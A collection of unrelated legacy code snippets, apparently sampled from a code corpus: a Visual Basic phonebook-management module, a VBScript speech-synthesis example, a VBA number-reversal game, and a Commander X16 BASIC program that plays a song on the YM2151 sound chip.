intX = MsgBox(LoadResString(6020) & Chr(13) & strNewPB & Chr$(13) & _
LoadResString(6021), _
vbQuestion + vbYesNo + vbDefaultButton2)
If intX = vbNo Then ' 7 == no
TestNewPBName = 1
Exit Function
End If
End If
MsgBox rt, vbExclamation
TestNewPBName = 1
Else
TestNewPBName = 0
End If
End Function
Public Sub SelectText(txtBox As Control)
txtBox.SelStart = 0
txtBox.SelLength = Len(txtBox.Text)
End Sub
Public Sub CheckChar(ASCIIChar As Integer)
Select Case ASCIIChar
Case 34
Beep
ASCIIChar = 0
Case 44
Beep
ASCIIChar = 0
Case 128 To 159
Beep
ASCIIChar = 0
End Select
End Sub
Public Function CreatePB(ByRef strNewPB As String) As Integer
Dim dblFreeSpace As Double
Dim rt As Integer
dblFreeSpace = GetDriveSpace(locPath, 250000)
If dblFreeSpace = -2 Then
cmdLogError 6054
CreatePB = -2
Exit Function
End If
rt = QuietTestNewPBName(strNewPB)
If rt = 0 Then
'ok
MakeFullINF strNewPB
MakeLogFile strNewPB
FileCopy locPath & "empty_pb.mdb", locPath & strNewPB & ".mdb"
OSWritePrivateProfileString "Phonebooks", strNewPB, strNewPB & ".mdb", locPath & gsRegAppTitle & ".ini"
OSWritePrivateProfileString vbNullString, vbNullString, vbNullString, locPath & gsRegAppTitle & ".ini"
Else
cmdLogError rt
CreatePB = -1
End If
CreatePB = 0
End Function
Public Function SetOptions(strURL As String, strUser As String, strPassword As String) As Integer
Dim i As Integer
Dim strTemp As String
Dim configuration As Recordset
On Error GoTo ErrTrap
strURL = Trim(strURL)
strUser = Trim(strUser)
strPassword = Trim(strPassword)
If strTemp <> "" Then
' max len 64, alpha, numeric
If strUser = "" Or InStr(strUser, " ") Then
cmdLogError 6010
SetOptions = 1
Exit Function
' max len 64, alpha, numeric, meta
ElseIf strPassword = "" Then
cmdLogError 6011
SetOptions = 2
Exit Function
End If
End If
Set configuration = gsyspb.OpenRecordset("Configuration", dbOpenDynaset)
If configuration.RecordCount = 0 Then
configuration.AddNew
Else
configuration.Edit
End If
configuration!index = 1
If strURL <> "" Then
configuration!URL = strURL
Else
configuration!URL = Null
End If
If strUser <> "" Then
configuration!ServerUID = strUser
Else
configuration!ServerUID = Null
End If
If strPassword <> "" Then
configuration!ServerPWD = strPassword
Else
configuration!ServerPWD = Null
End If
configuration!NewVersion = 0
configuration.Update
configuration.Close
SetOptions = 0
Exit Function
ErrTrap:
SetOptions = 3
End Function
Public Function cmdLogError(ErrorNum As Integer, Optional ErrorMsg As String)
Dim intFile As Integer
Dim strFile As String
On Error GoTo LogErr
gCLError = True
intFile = FreeFile
strFile = locPath & "import.log"
Open strFile For Append As #intFile
On Error GoTo 0
Print #intFile, Now & ", " & gsCurrentPB & ", " & LoadResString(ErrorNum) & ErrorMsg
Close #intFile
MsgBox LoadResString(6083)
Exit Function
LogErr:
Exit Function
End Function
|
10 INCLUDE "abc.bas"
|
<filename>Task/Speech-synthesis/VBScript/speech-synthesis.vb
Dim message, sapi
message = "This is an example of speech synthesis."
Set sapi = CreateObject("sapi.spvoice")
sapi.Speak message
|
Private Function shuffle(ByVal a As Variant) As Variant
Dim t As Variant, i As Integer
For i = UBound(a) To LBound(a) + 1 Step -1
j = Int((UBound(a) - LBound(a) + 1) * Rnd + LBound(a))
t = a(i)
a(i) = a(j)
a(j) = t
Next i
shuffle = a
End Function
Private Sub reverse(ByRef a As Variant, n As Integer)
Dim b As Variant
b = a
For i = 1 To n
a(i) = b(n + 1 - i)
Next i
End Sub
Public Sub game()
Debug.Print "Given a jumbled list of the numbers 1 to 9"
Debug.Print "you must select how many digits from the left to reverse."
Debug.Print "Your goal is to get the digits in order with 1 on the left and 9 on the right."
inums = [{1,2,3,4,5,6,7,8,9}]
Dim nums As Variant
Dim turns As Integer, flip As Integer
nums = shuffle(inums)
Do While True
Debug.Print turns; ":";
For Each x In nums: Debug.Print x;: Next x
Debug.Print
flag = False
For i = LBound(nums) To UBound(nums)
If nums(i) <> inums(i) Then
flag = True
Exit For
End If
Next i
If flag Then
flip = InputBox(" -- How many numbers should be flipped? ")
reverse nums, flip
turns = turns + 1
Else
Exit Do
End If
Loop
Debug.Print "You took"; turns; "turns to put the digits in order."
End Sub
|
10 REM THIS PROGRAM TESTS THE YM2151 SOUND CHIP
100 READ AD, VA
110 IF AD = 2 THEN GOTO 200
120 IF AD = 4 THEN END
130 POKE $9FE0, AD
140 POKE $9FE1, VA
150 GOTO 100
200 T=TI+VA
210 PRINT VA;
220 IF TI < T THEN GOTO 220
230 GOTO 100
999 REM THE BELOW SONG IS COPIED FROM GIT/SLITHYMATT/X16-CHASEVAULT
1000 DATA $01, $02: REM LFO RESET
1010 DATA $18, $00: REM LOW OSCILLATION FREQUENCY
1020 DATA $1B, $00: REM DISABLE CT1 AND CT2
1030 DATA $19, $FF: REM PHASE DEPTH = 127
1040 DATA $19, $7F: REM AMPLITUDE DEPTH = 127
1050 DATA $08, $00: REM CHANNEL 0 KEY OFF
1060 DATA $20, $C0: REM CHANNEL 0 CONTROL
1070 DATA $60, $7F: REM CHANNEL 0 MODULATOR1 TOTAL LEVEL
1080 DATA $68, $7F: REM CHANNEL 0 MODULATOR2 TOTAL LEVEL
1090 DATA $70, $7F: REM CHANNEL 0 CARRIER1 TOTAL LEVEL
1100 DATA $78, $7F: REM CHANNEL 0 CARRIER2 TOTAL LEVEL
1110 DATA $08, $01: REM
1120 DATA $21, $C0: REM
1130 DATA $61, $7F: REM
1140 DATA $69, $7F: REM
1150 DATA $71, $7F: REM
1160 DATA $79, $7F: REM
1170 DATA $08, $02: REM
1180 DATA $22, $C0: REM
1190 DATA $62, $7F: REM
1200 DATA $6A, $7F: REM
1210 DATA $72, $7F: REM
1220 DATA $7A, $7F: REM
1230 DATA $08, $03: REM
1240 DATA $23, $C0: REM
1250 DATA $63, $7F: REM
1260 DATA $6B, $7F: REM
1270 DATA $73, $7F: REM
1280 DATA $7B, $7F: REM
1290 DATA $08, $04: REM
1300 DATA $24, $C0: REM
1310 DATA $64, $7F: REM
1320 DATA $6C, $7F: REM
1330 DATA $74, $7F: REM
1340 DATA $7C, $7F: REM
1350 DATA $08, $05: REM
1360 DATA $25, $C0: REM
1370 DATA $65, $7F: REM
1380 DATA $6D, $7F: REM
1390 DATA $75, $7F: REM
1400 DATA $7D, $7F: REM
1410 DATA $08, $06: REM
1420 DATA $26, $C0: REM
1430 DATA $66, $7F: REM
1440 DATA $6E, $7F: REM
1450 DATA $76, $7F: REM
1460 DATA $7E, $7F: REM
1470 DATA $08, $07: REM
1480 DATA $27, $C0: REM
1490 DATA $67, $7F: REM
1500 DATA $6F, $7F: REM
1510 DATA $77, $7F: REM
1520 DATA $7F, $7F: REM
1530 DATA $40, $00: REM CHANNEL 0 MODULATOR1 DETUNE + PHASE MULT
1540 DATA $60, $0E: REM CHANNEL 0 MODULATOR1
1550 DATA $80, $9F: REM CHANNEL 0 MODULATOR1
1560 DATA $A0, $1B: REM CHANNEL 0 MODULATOR1
1570 DATA $C0, $09: REM CHANNEL 0 MODULATOR1
1580 DATA $E0, $B6: REM CHANNEL 0 MODULATOR1
1590 DATA $48, $00: REM CHANNEL 0 MODULATOR2
1600 DATA $68, $16: REM CHANNEL 0 MODULATOR2
1610 DATA $88, $DC: REM CHANNEL 0 MODULATOR2
1620 DATA $A8, $05: REM CHANNEL 0 MODULATOR2
1630 DATA $C8, $0F: REM CHANNEL 0 MODULATOR2
1640 DATA $E8, $B5: REM CHANNEL 0 MODULATOR2
1650 DATA $50, $00: REM CHANNEL 0 CARRIER1
1660 DATA $70, $2A: REM CHANNEL 0 CARRIER1
1670 DATA $90, $D8: REM CHANNEL 0 CARRIER1
1680 DATA $B0, $17: REM CHANNEL 0 CARRIER1
1690 DATA $D0, $08: REM CHANNEL 0 CARRIER1
1700 DATA $F0, $B6: REM CHANNEL 0 CARRIER1
1710 DATA $58, $00: REM CHANNEL 0 CARRIER2
1720 DATA $78, $13: REM CHANNEL 0 CARRIER2
1730 DATA $98, $98: REM CHANNEL 0 CARRIER2
1740 DATA $B8, $00: REM CHANNEL 0 CARRIER2
1750 DATA $D8, $0F: REM CHANNEL 0 CARRIER2
1760 DATA $F8, $F6: REM CHANNEL 0 CARRIER2
1770 DATA $20, $E8: REM CHANNEL CONTROL
1780 DATA $38, $00: REM CHANNEL 0 MODULATION SENSITIVITY
1790 DATA $08, $78: REM CHANNEL 0 KEY ON
1800 DATA $28, $2E: REM CHANNEL 0 KEY CODE
1810 DATA $30, $00: REM CHANNEL 0 KEY FRACTION
1820 DATA $42, $11: REM CHANNEL 2 MODULATOR1
1830 DATA $62, $08: REM CHANNEL 2 MODULATOR1
1840 DATA $82, $1F: REM CHANNEL 2 MODULATOR1
1850 DATA $A2, $1F: REM CHANNEL 2 MODULATOR1
1860 DATA $C2, $1F: REM CHANNEL 2 MODULATOR1
1870 DATA $E2, $04: REM CHANNEL 2 MODULATOR1
1880 DATA $4A, $17: REM CHANNEL 2 MODULATOR2
1890 DATA $6A, $08: REM CHANNEL 2 MODULATOR2
1900 DATA $8A, $1F: REM CHANNEL 2 MODULATOR2
1910 DATA $AA, $1B: REM CHANNEL 2 MODULATOR2
1920 DATA $CA, $1F: REM CHANNEL 2 MODULATOR2
1930 DATA $EA, $FF: REM CHANNEL 2 MODULATOR2
1940 DATA $52, $11: REM CHANNEL 2 CARRIER1
1950 DATA $72, $22: REM CHANNEL 2 CARRIER1
1960 DATA $92, $9F: REM CHANNEL 2 CARRIER1
1970 DATA $B2, $0D: REM CHANNEL 2 CARRIER1
1980 DATA $D2, $1F: REM CHANNEL 2 CARRIER1
1990 DATA $F2, $F5: REM CHANNEL 2 CARRIER1
2000 DATA $5A, $11: REM CHANNEL 2 CARRIER2
2010 DATA $7A, $13: REM CHANNEL 2 CARRIER2
2020 DATA $9A, $1F: REM CHANNEL 2 CARRIER2
2030 DATA $BA, $0D: REM CHANNEL 2 CARRIER2
2040 DATA $DA, $1F: REM CHANNEL 2 CARRIER2
2050 DATA $FA, $DF: REM CHANNEL 2 CARRIER2
2060 DATA $22, $FB: REM CHANNEL 2
2070 DATA $3A, $00: REM CHANNEL 2
2080 DATA $08, $7A: REM CHANNEL 2 KEY ON
2090 DATA $2A, $0E: REM CHANNEL 2
2100 DATA $32, $00: REM CHANNEL 2
2110 DATA $43, $0E: REM CHANNEL 3 MODULATOR1
2120 DATA $63, $1D: REM CHANNEL 3 MODULATOR1
2130 DATA $83, $DE: REM CHANNEL 3 MODULATOR1
2140 DATA $A3, $14: REM CHANNEL 3 MODULATOR1
2150 DATA $C3, $01: REM CHANNEL 3 MODULATOR1
2160 DATA $E3, $34: REM CHANNEL 3 MODULATOR1
2170 DATA $4B, $11: REM CHANNEL 3 MODULATOR2
2180 DATA $6B, $17: REM CHANNEL 3 MODULATOR2
2190 DATA $8B, $1E: REM CHANNEL 3 MODULATOR2
2200 DATA $AB, $0F: REM CHANNEL 3 MODULATOR2
2210 DATA $CB, $00: REM CHANNEL 3 MODULATOR2
2220 DATA $EB, $24: REM CHANNEL 3 MODULATOR2
2230 DATA $53, $12: REM CHANNEL 3 CARRIER1
2240 DATA $73, $22: REM CHANNEL 3 CARRIER1
2250 DATA $93, $14: REM CHANNEL 3 CARRIER1
2260 DATA $B3, $0F: REM CHANNEL 3 CARRIER1
2270 DATA $D3, $00: REM CHANNEL 3 CARRIER1
2280 DATA $F3, $23: REM CHANNEL 3 CARRIER1
2290 DATA $5B, $03: REM CHANNEL 3 CARRIER2
2300 DATA $7B, $16: REM CHANNEL 3 CARRIER2
2310 DATA $9B, $14: REM CHANNEL 3 CARRIER2
2320 DATA $BB, $00: REM CHANNEL 3 CARRIER2
2330 DATA $DB, $00: REM CHANNEL 3 CARRIER2
2340 DATA $FB, $27: REM CHANNEL 3 CARRIER2
2350 DATA $23, $FB: REM CHANNEL 3
2360 DATA $3B, $00: REM CHANNEL 3
2370 DATA $08, $7B: REM CHANNEL 3 KEY ON
2380 DATA $2B, $3E: REM CHANNEL 3
2390 DATA $33, $00: REM CHANNEL 3
2400 DATA $7B, $1E: REM CHANNEL 3
2410 DATA $44, $03: REM CHANNEL 4 MODULATOR1
2420 DATA $64, $1B: REM CHANNEL 4 MODULATOR1
2430 DATA $84, $5B: REM CHANNEL 4 MODULATOR1
2440 DATA $A4, $04: REM CHANNEL 4 MODULATOR1
2450 DATA $C4, $00: REM CHANNEL 4 MODULATOR1
2460 DATA $E4, $F6: REM CHANNEL 4 MODULATOR1
2470 DATA $4C, $3E: REM CHANNEL 4 MODULATOR2
2480 DATA $6C, $20: REM CHANNEL 4 MODULATOR2
2490 DATA $8C, $5F: REM CHANNEL 4 MODULATOR2
2500 DATA $AC, $07: REM CHANNEL 4 MODULATOR2
2510 DATA $CC, $00: REM CHANNEL 4 MODULATOR2
2520 DATA $EC, $E4: REM CHANNEL 4 MODULATOR2
2530 DATA $54, $11: REM CHANNEL 4 CARRIER1
2540 DATA $74, $11: REM CHANNEL 4 CARRIER1
2550 DATA $94, $9F: REM CHANNEL 4 CARRIER1
2560 DATA $B4, $07: REM CHANNEL 4 CARRIER1
2570 DATA $D4, $00: REM CHANNEL 4 CARRIER1
2580 DATA $F4, $F7: REM CHANNEL 4 CARRIER1
2590 DATA $5C, $34: REM CHANNEL 4 CARRIER2
2600 DATA $7C, $0F: REM CHANNEL 4 CARRIER2
2610 DATA $9C, $1F: REM CHANNEL 4 CARRIER2
2620 DATA $BC, $08: REM CHANNEL 4 CARRIER2
2630 DATA $DC, $00: REM CHANNEL 4 CARRIER2
2640 DATA $FC, $F7: REM CHANNEL 4 CARRIER2
2650 DATA $24, $F4: REM CHANNEL 4
2660 DATA $3C, $00: REM CHANNEL 4
2670 DATA $45, $03: REM CHANNEL 5 MODULATOR1
2680 DATA $65, $1B: REM CHANNEL 5 MODULATOR1
2690 DATA $85, $5B: REM CHANNEL 5 MODULATOR1
2700 DATA $A5, $04: REM CHANNEL 5 MODULATOR1
2710 DATA $C5, $00: REM CHANNEL 5 MODULATOR1
2720 DATA $E5, $F6: REM CHANNEL 5 MODULATOR1
2730 DATA $4D, $3E: REM CHANNEL 5 MODULATOR2
2740 DATA $6D, $20: REM CHANNEL 5 MODULATOR2
2750 DATA $8D, $5F: REM CHANNEL 5 MODULATOR2
2760 DATA $AD, $07: REM CHANNEL 5 MODULATOR2
2770 DATA $CD, $00: REM CHANNEL 5 MODULATOR2
2780 DATA $ED, $E4: REM CHANNEL 5 MODULATOR2
2790 DATA $55, $11: REM CHANNEL 5 CARRIER1
2800 DATA $75, $11: REM CHANNEL 5 CARRIER1
2810 DATA $95, $9F: REM CHANNEL 5 CARRIER1
2820 DATA $B5, $07: REM CHANNEL 5 CARRIER1
2830 DATA $D5, $00: REM CHANNEL 5 CARRIER1
2840 DATA $F5, $F7: REM CHANNEL 5 CARRIER1
2850 DATA $5D, $34: REM CHANNEL 5 CARRIER2
2860 DATA $7D, $0F: REM CHANNEL 5 CARRIER2
2870 DATA $9D, $1F: REM CHANNEL 5 CARRIER2
2880 DATA $BD, $08: REM CHANNEL 5 CARRIER2
2890 DATA $DD, $00: REM CHANNEL 5 CARRIER2
2900 DATA $FD, $F7: REM CHANNEL 5 CARRIER2
2910 DATA $25, $F4: REM CHANNEL 5
2920 DATA $3D, $00: REM CHANNEL 5
2930 DATA $46, $20: REM CHANNEL 6 MODULATOR1
2940 DATA $66, $0A: REM CHANNEL 6 MODULATOR1
2950 DATA $86, $91: REM CHANNEL 6 MODULATOR1
2960 DATA $A6, $05: REM CHANNEL 6 MODULATOR1
2970 DATA $C6, $0B: REM CHANNEL 6 MODULATOR1
2980 DATA $E6, $EC: REM CHANNEL 6 MODULATOR1
2990 DATA $4E, $63: REM CHANNEL 6 MODULATOR2
3000 DATA $6E, $14: REM CHANNEL 6 MODULATOR2
3010 DATA $8E, $91: REM CHANNEL 6 MODULATOR2
3020 DATA $AE, $05: REM CHANNEL 6 MODULATOR2
3030 DATA $CE, $0B: REM CHANNEL 6 MODULATOR2
3040 DATA $EE, $EC: REM CHANNEL 6 MODULATOR2
3050 DATA $56, $74: REM CHANNEL 6 CARRIER1
3060 DATA $76, $12: REM CHANNEL 6 CARRIER1
3070 DATA $96, $91: REM CHANNEL 6 CARRIER1
3080 DATA $B6, $05: REM CHANNEL 6 CARRIER1
3090 DATA $D6, $0B: REM CHANNEL 6 CARRIER1
3100 DATA $F6, $EF: REM CHANNEL 6 CARRIER1
3110 DATA $5E, $53: REM CHANNEL 6 CARRIER2
3120 DATA $7E, $14: REM CHANNEL 6 CARRIER2
3130 DATA $9E, $91: REM CHANNEL 6 CARRIER2
3140 DATA $BE, $05: REM CHANNEL 6 CARRIER2
3150 DATA $DE, $0B: REM CHANNEL 6 CARRIER2
3160 DATA $FE, $EF: REM CHANNEL 6 CARRIER2
3170 DATA $26, $E5: REM CHANNEL 6
3180 DATA $3E, $00: REM CHANNEL 6
3190 DATA $47, $01: REM CHANNEL 7 MODULATOR1
3200 DATA $67, $07: REM CHANNEL 7 MODULATOR1
3210 DATA $87, $1F: REM CHANNEL 7 MODULATOR1
3220 DATA $A7, $09: REM CHANNEL 7 MODULATOR1
3230 DATA $C7, $00: REM CHANNEL 7 MODULATOR1
3240 DATA $E7, $FF: REM CHANNEL 7 MODULATOR1
3250 DATA $4F, $01: REM CHANNEL 7 MODULATOR2
3260 DATA $6F, $11: REM CHANNEL 7 MODULATOR2
3270 DATA $8F, $1F: REM CHANNEL 7 MODULATOR2
3280 DATA $AF, $09: REM CHANNEL 7 MODULATOR2
3290 DATA $CF, $00: REM CHANNEL 7 MODULATOR2
3300 DATA $EF, $FF: REM CHANNEL 7 MODULATOR2
3310 DATA $57, $01: REM CHANNEL 7 CARRIER1
3320 DATA $77, $08: REM CHANNEL 7 CARRIER1
3330 DATA $97, $1F: REM CHANNEL 7 CARRIER1
3340 DATA $B7, $09: REM CHANNEL 7 CARRIER1
3350 DATA $D7, $00: REM CHANNEL 7 CARRIER1
3360 DATA $F7, $FF: REM CHANNEL 7 CARRIER1
3370 DATA $5F, $00: REM CHANNEL 7 CARRIER2
3380 DATA $7F, $00: REM CHANNEL 7 CARRIER2
3390 DATA $9F, $1F: REM CHANNEL 7 CARRIER2
3400 DATA $BF, $09: REM CHANNEL 7 CARRIER2
3410 DATA $DF, $00: REM CHANNEL 7 CARRIER2
3420 DATA $FF, $FF: REM CHANNEL 7 CARRIER2
3430 DATA $27, $E7: REM CHANNEL 7
3440 DATA $3F, $73: REM CHANNEL 7
3450 DATA $02, $08: REM PAUSE 8
3460 DATA $08, $00: REM CHANNEL 0 KEY OFF
3470 DATA $08, $78: REM CHANNEL 0 KEY ON
3480 DATA $02, $08: REM PAUSE 8
3490 DATA $08, $02: REM CHANNEL 2 KEY OFF
3500 DATA $08, $7A: REM CHANNEL 2 KEY ON
3510 DATA $08, $03: REM CHANNEL 3 KEY OFF
3520 DATA $08, $7B: REM CHANNEL 3 KEY ON
3530 DATA $2B, $41: REM
3540 DATA $02, $10: REM PAUSE 16
3550 DATA $08, $00: REM CHANNEL 0 KEY OFF
3560 DATA $08, $78: REM CHANNEL 0 KEY ON
3570 DATA $28, $38: REM
3580 DATA $41, $02: REM
3590 DATA $61, $1A: REM
3600 DATA $81, $4F: REM
3610 DATA $A1, $01: REM
3620 DATA $C1, $09: REM
3630 DATA $E1, $3D: REM
3640 DATA $49, $36: REM
3650 DATA $69, $24: REM
3660 DATA $89, $52: REM
3670 DATA $A9, $0B: REM
3680 DATA $C9, $03: REM
3690 DATA $E9, $70: REM
3700 DATA $51, $72: REM
3710 DATA $71, $0A: REM
3720 DATA $91, $1F: REM
3730 DATA $B1, $0E: REM
3740 DATA $D1, $03: REM
3750 DATA $F1, $6B: REM
3760 DATA $59, $32: REM
3770 DATA $79, $0A: REM
3780 DATA $99, $5F: REM
3790 DATA $B9, $0B: REM
3800 DATA $D9, $04: REM
3810 DATA $F9, $E9: REM
3820 DATA $21, $C4: REM
3830 DATA $39, $00: REM
3840 DATA $71, $17: REM
3850 DATA $79, $17: REM
3860 DATA $08, $79: REM
3870 DATA $29, $42: REM
3880 DATA $31, $00: REM
3890 DATA $08, $02: REM
3900 DATA $08, $7A: REM
3910 DATA $2A, $2E: REM
3920 DATA $02, $10: REM PAUSE 16
3930 DATA $08, $01: REM
3940 DATA $08, $79: REM
3950 DATA $08, $03: REM
3960 DATA $08, $7B: REM
3970 DATA $2B, $42: REM
3980 DATA $02, $10: REM
3990 DATA $08, $00: REM
4000 DATA $08, $78: REM
4010 DATA $28, $2E: REM
4020 DATA $08, $02: REM
4030 DATA $08, $7A: REM
4040 DATA $2A, $0E: REM
4050 DATA $02, $08: REM
4060 DATA $08, $00: REM
4070 DATA $08, $78: REM
4080 DATA $02, $08: REM
4090 DATA $08, $02: REM
4100 DATA $08, $7A: REM
4110 DATA $02, $10: REM
4120 DATA $08, $00: REM
4130 DATA $08, $78: REM
4140 DATA $28, $38: REM
4150 DATA $08, $01: REM
4160 DATA $08, $79: REM
4170 DATA $08, $02: REM
4180 DATA $08, $7A: REM
4190 DATA $2A, $2E: REM
4200 DATA $02, $10: REM
4210 DATA $08, $01: REM
4220 DATA $08, $79: REM
4230 DATA $02, $10: REM
4240 DATA $08, $00: REM
4250 DATA $08, $78: REM
4260 DATA $08, $02: REM
4270 DATA $08, $7A: REM
4280 DATA $2A, $0E: REM
4290 DATA $08, $03: REM
4300 DATA $08, $7B: REM
4310 DATA $02, $08: REM
4320 DATA $08, $00: REM
4330 DATA $08, $78: REM
4340 DATA $02, $08: REM
4350 DATA $08, $02: REM
4360 DATA $08, $7A: REM
4370 DATA $08, $03: REM
4380 DATA $08, $7B: REM
4390 DATA $2B, $3C: REM
4400 DATA $02, $10: REM
4410 DATA $08, $00: REM
4420 DATA $08, $78: REM
4430 DATA $28, $41: REM
4440 DATA $08, $01: REM
4450 DATA $08, $79: REM
4460 DATA $29, $3C: REM
4470 DATA $08, $02: REM
4480 DATA $08, $7A: REM
4490 DATA $2A, $2E: REM
4500 DATA $02, $10: REM
4510 DATA $08, $01: REM
4520 DATA $08, $79: REM
4530 DATA $08, $03: REM
4540 DATA $08, $7B: REM
4550 DATA $2B, $3E: REM
4560 DATA $02, $10: REM
4570 DATA $08, $00: REM
4580 DATA $08, $78: REM
4590 DATA $28, $38: REM
4600 DATA $08, $02: REM
4610 DATA $08, $7A: REM
4620 DATA $2A, $0E: REM
4630 DATA $02, $08: REM
4640 DATA $08, $00: REM
4650 DATA $08, $78: REM
4660 DATA $02, $08: REM
4670 DATA $08, $02: REM
4680 DATA $08, $7A: REM
4690 DATA $02, $10: REM
4700 DATA $08, $00: REM
4710 DATA $08, $78: REM
4720 DATA $28, $41: REM
4730 DATA $08, $01: REM
4740 DATA $08, $79: REM
4750 DATA $08, $02: REM
4760 DATA $08, $7A: REM
4770 DATA $2A, $2E: REM
4780 DATA $02, $10: REM
4790 DATA $08, $01: REM
4800 DATA $08, $79: REM
4810 DATA $02, $10: REM
4820 DATA $08, $00: REM
4830 DATA $08, $78: REM
4840 DATA $28, $35: REM
4850 DATA $08, $02: REM
4860 DATA $08, $7A: REM
4870 DATA $2A, $0E: REM
4880 DATA $08, $03: REM
4890 DATA $08, $7B: REM
4900 DATA $2B, $41: REM
4910 DATA $02, $08: REM
4920 DATA $08, $00: REM
4930 DATA $08, $78: REM
4940 DATA $02, $08: REM
4950 DATA $08, $02: REM
4960 DATA $08, $7A: REM
4970 DATA $08, $03: REM
4980 DATA $08, $7B: REM
4990 DATA $2B, $42: REM
5000 DATA $02, $10: REM
5010 DATA $08, $00: REM
5020 DATA $08, $78: REM
5030 DATA $28, $3E: REM
5040 DATA $08, $01: REM
5050 DATA $08, $79: REM
5060 DATA $29, $39: REM
5070 DATA $08, $02: REM
5080 DATA $08, $7A: REM
5090 DATA $2A, $2E: REM
5100 DATA $02, $10: REM
5110 DATA $08, $01: REM
5120 DATA $08, $79: REM
5130 DATA $08, $03: REM
5140 DATA $08, $7B: REM
5150 DATA $2B, $48: REM
5160 DATA $02, $10: REM
5170 DATA $08, $00: REM
5180 DATA $08, $78: REM
5190 DATA $28, $35: REM
5200 DATA $08, $02: REM
5210 DATA $08, $7A: REM
5220 DATA $2A, $0E: REM
5230 DATA $02, $08: REM
5240 DATA $08, $00: REM
5250 DATA $08, $78: REM
5260 DATA $02, $08: REM
5270 DATA $08, $02: REM
5280 DATA $08, $7A: REM
5290 DATA $02, $10: REM
5300 DATA $08, $00: REM
5310 DATA $08, $78: REM
5320 DATA $28, $3E: REM
5330 DATA $08, $01: REM
5340 DATA $08, $79: REM
5350 DATA $08, $02: REM
5360 DATA $08, $7A: REM
5370 DATA $2A, $2E: REM
5380 DATA $02, $10: REM
5390 DATA $08, $01: REM
5400 DATA $08, $79: REM
5410 DATA $02, $10: REM
5420 DATA $08, $00: REM
5430 DATA $08, $78: REM
5440 DATA $28, $35: REM
5450 DATA $08, $02: REM
5460 DATA $08, $7A: REM
5470 DATA $2A, $0E: REM
5480 DATA $08, $03: REM
5490 DATA $08, $7B: REM
5500 DATA $02, $08: REM
5510 DATA $08, $00: REM
5520 DATA $08, $78: REM
5530 DATA $02, $08: REM
5540 DATA $08, $02: REM
5550 DATA $08, $7A: REM
5560 DATA $08, $03: REM
5570 DATA $08, $7B: REM
5580 DATA $2B, $49: REM
5590 DATA $02, $10: REM
5600 DATA $08, $00: REM
5610 DATA $08, $78: REM
5620 DATA $28, $3E: REM
5630 DATA $08, $01: REM
5640 DATA $08, $79: REM
5650 DATA $08, $02: REM
5660 DATA $08, $7A: REM
5670 DATA $2A, $2E: REM
5680 DATA $08, $03: REM
5690 DATA $08, $7B: REM
5700 DATA $2B, $48: REM
5710 DATA $02, $10: REM
5720 DATA $08, $01: REM
5730 DATA $08, $79: REM
5740 DATA $02, $10: REM
5750 DATA $08, $00: REM
5760 DATA $08, $78: REM
5770 DATA $28, $35: REM
5780 DATA $08, $02: REM
5790 DATA $08, $7A: REM
5800 DATA $2A, $0E: REM
5810 DATA $08, $03: REM
5820 DATA $08, $7B: REM
5830 DATA $2B, $42: REM
5840 DATA $02, $08: REM
5850 DATA $08, $00: REM
5860 DATA $08, $78: REM
5870 DATA $02, $08: REM
5880 DATA $08, $02: REM
5890 DATA $08, $7A: REM
5900 DATA $02, $10: REM
5910 DATA $08, $00: REM
5920 DATA $08, $78: REM
5930 DATA $28, $3E: REM
5940 DATA $08, $01: REM
5950 DATA $08, $79: REM
5960 DATA $08, $02: REM
5970 DATA $08, $7A: REM
5980 DATA $2A, $2E: REM
5990 DATA $02, $10: REM
6000 DATA $08, $01: REM
6010 DATA $08, $79: REM
6020 DATA $02, $10: REM
6030 DATA $08, $00: REM
6040 DATA $08, $78: REM
6050 DATA $28, $2E: REM
6060 DATA $08, $02: REM
6070 DATA $08, $7A: REM
6080 DATA $2A, $0E: REM
6090 DATA $08, $03: REM
6100 DATA $08, $7B: REM
6110 DATA $2B, $48: REM
6120 DATA $02, $08: REM
6130 DATA $08, $00: REM
6140 DATA $08, $78: REM
6150 DATA $02, $08: REM
6160 DATA $08, $02: REM
6170 DATA $08, $7A: REM
6180 DATA $08, $03: REM
6190 DATA $08, $7B: REM
6200 DATA $2B, $42: REM
6210 DATA $02, $10: REM
6220 DATA $08, $00: REM
6230 DATA $08, $78: REM
6240 DATA $28, $38: REM
6250 DATA $08, $01: REM
6260 DATA $08, $79: REM
6270 DATA $29, $42: REM
6280 DATA $08, $02: REM
6290 DATA $08, $7A: REM
6300 DATA $2A, $2E: REM
6310 DATA $08, $03: REM
6320 DATA $08, $7B: REM
6330 DATA $2B, $45: REM
6340 DATA $02, $10: REM
6350 DATA $08, $01: REM
6360 DATA $08, $79: REM
6370 DATA $08, $03: REM
6380 DATA $08, $7B: REM
6390 DATA $2B, $41: REM
6400 DATA $02, $10: REM
6410 DATA $08, $00: REM
6420 DATA $08, $78: REM
6430 DATA $28, $2E: REM
6440 DATA $08, $02: REM
6450 DATA $08, $7A: REM
6460 DATA $2A, $0E: REM
6470 DATA $02, $08: REM
6480 DATA $08, $00: REM
6490 DATA $08, $78: REM
6500 DATA $02, $08: REM
6510 DATA $08, $02: REM
6520 DATA $08, $7A: REM
6530 DATA $02, $10: REM
6540 DATA $08, $00: REM
6550 DATA $08, $78: REM
6560 DATA $28, $38: REM
6570 DATA $08, $01: REM
6580 DATA $08, $79: REM
6590 DATA $08, $02: REM
6600 DATA $08, $7A: REM
6610 DATA $2A, $2E: REM
6620 DATA $02, $10: REM
6630 DATA $08, $01: REM
6640 DATA $08, $79: REM
6650 DATA $02, $10: REM
6660 DATA $08, $00: REM
6670 DATA $08, $78: REM
6680 DATA $08, $02: REM
6690 DATA $08, $7A: REM
6700 DATA $2A, $0E: REM
6710 DATA $08, $03: REM
6720 DATA $08, $7B: REM
6730 DATA $2B, $45: REM
6740 DATA $02, $08: REM
6750 DATA $08, $00: REM
6760 DATA $08, $78: REM
6770 DATA $02, $08: REM
6780 DATA $08, $02: REM
6790 DATA $08, $7A: REM
6800 DATA $08, $03: REM
6810 DATA $08, $7B: REM
6820 DATA $2B, $41: REM
6830 DATA $02, $10: REM
6840 DATA $08, $00: REM
6850 DATA $08, $78: REM
6860 DATA $28, $41: REM
6870 DATA $08, $01: REM
6880 DATA $08, $79: REM
6890 DATA $29, $3C: REM
6900 DATA $08, $02: REM
6910 DATA $08, $7A: REM
6920 DATA $2A, $2E: REM
6930 DATA $08, $03: REM
6940 DATA $08, $7B: REM
6950 DATA $2B, $42: REM
6960 DATA $02, $10: REM
6970 DATA $08, $01: REM
6980 DATA $08, $79: REM
6990 DATA $08, $03: REM
7000 DATA $08, $7B: REM
7010 DATA $2B, $3E: REM
